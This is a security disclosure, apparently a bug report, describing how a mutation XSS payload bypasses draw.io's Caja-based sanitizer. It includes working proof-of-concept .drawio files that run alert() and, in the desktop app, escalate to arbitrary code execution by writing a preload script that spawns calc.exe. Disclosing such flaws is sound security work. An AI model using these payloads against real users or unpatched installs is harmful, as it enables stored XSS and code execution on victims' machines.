The sanitizer function of the drawio core library which is responsible to sanitize various parts of a diagram of potentially dangerous HTML/JavaScript code can be bypassed.
It is vulnerable to mutation XSS payloads, which allows escaping from the sanitizer.
This allows arbitrary code execution in the desktop app and stored XSS in the web app.
The sanitizer is based on the Caja sanitizer, which was discontinued some time ago and will not receive updates any more.
<https://github.com/jgraph/drawio/blob/v17.4.3/src/main/webapp/js/grapheditor/Graph.js#L1668-L1686>
Graph.sanitizeHtml = function(value, editing)
{
// Uses https://code.google.com/p/google-caja/wiki/JsHtmlSanitizer
// NOTE: Original minimized sanitizer was modified to support
// data URIs for images, mailto and special data:-links.
// LATER: Add MathML to whitelisted tags
function urlX(link)
{
if (link != null && link.toString().toLowerCase().substring(0, 11) !== 'javascript:')
{
return link;
}
return null;
};
function idX(id) { return id };
return html_sanitize(value, urlX, idX);
};
For example the following payload will not get sanitized correctly and allows injecting JavaScript code:
<select><iframe></select><img src>
Basically anthing after the <select><iframe></select>
will not get sanitized and can be injected.
Since this sanitizer function is used in many different places, the vulnerability could be abused through several injection points in diagram files.
The following file will execute alert()
when opened in draw.io.
The payload is located in the label
attribute of the UserObject
element.
To reproduce save it as a .drawio
file, then open it.
<mxfile host="Electron" modified="2022-05-01T12:59:04.467Z" agent="5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) draw.io/17.4.2 Chrome/100.0.4896.60 Electron/18.0.1 Safari/537.36" etag="kiR_NjkTd37TBbovy8cU" compressed="false" version="17.4.2" type="device">
<diagram id="_Y4cO9PIdA5klW6TnyFV" name="Page-1">
<mxGraphModel dx="1102" dy="714" grid="1" gridSize="10" guides="1" tooltips="1" connect="1" arrows="1" fold="1" page="1" pageScale="1" pageWidth="291" pageHeight="413" math="0" shadow="0">
<root>
<mxCell id="0" />
<mxCell id="1" parent="0" />
<UserObject label="<select><iframe></select><img src=x onerror=alert(1)>" tooltip="" id="kX_el6IuBEZSOJuKbBye-1">
<mxCell style="rounded=0;whiteSpace=wrap;html=1;" vertex="1" parent="1">
<mxGeometry x="150" y="170" width="90" height="40" as="geometry" />
</mxCell>
</UserObject>
</root>
</mxGraphModel>
</diagram>
</mxfile>
This can be further escalated to get arbitrary code execution when opened with the desktop app.
By executing the payload below we can abuse the functionality exposed in the renderer process and get access to Node.js functions.
It can be achieved by writing a JavaScript file to the resource directory of the app and later using it as preload script when opening a new Electron BrowserWindow
with modified settings.
In this example calc.exe
(Windows calculator) is spawned.
electron.request({action: 'writeFile', path: decodeURIComponent(location.pathname.substring(1).replace('app.asar/index.html','payload.js')), data: 'require(\'child_process\').spawnSync(\'calc.exe\');', enc: 'utf8'});
electron.sendMessage('newfile', {width: 100, height: 100, webPreferences: {preload: decodeURIComponent(location.pathname.substring(1).replace('app.asar/index.html','payload.js')), nodeIntegration: true, contextIsolation: true}});
Full PoC:
Save the following content as a .drawio
-file, then open it in the desktop app:
<mxfile host="Electron" modified="2022-05-01T12:59:04.467Z" agent="5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) draw.io/17.4.2 Chrome/100.0.4896.60 Electron/18.0.1 Safari/537.36" etag="kiR_NjkTd37TBbovy8cU" compressed="false" version="17.4.2" type="device">
<diagram id="_Y4cO9PIdA5klW6TnyFV" name="Page-1">
<mxGraphModel dx="1102" dy="714" grid="1" gridSize="10" guides="1" tooltips="1" connect="1" arrows="1" fold="1" page="1" pageScale="1" pageWidth="291" pageHeight="413" math="0" shadow="0">
<root>
<mxCell id="0" />
<mxCell id="1" parent="0" />
<UserObject label="<select><iframe></select><img src=x onerror="electron.request({action: 'writeFile', path: decodeURIComponent(location.pathname.substring(1).replace('app.asar/index.html','payload.js')), data: 'require(\'child_process\').spawnSync(\'calc.exe\');', enc: 'utf8'});
electron.sendMessage('newfile', {width: 100, height: 100, webPreferences: {preload: decodeURIComponent(location.pathname.substring(1).replace('app.asar/index.html','payload.js')), nodeIntegration: true, contextIsolation: true}});">" tooltip="" id="kX_el6IuBEZSOJuKbBye-1">
<mxCell style="rounded=0;whiteSpace=wrap;html=1;" vertex="1" parent="1">
<mxGeometry x="150" y="170" width="90" height="40" as="geometry" />
</mxCell>
</UserObject>
</root>
</mxGraphModel>
</diagram>
</mxfile>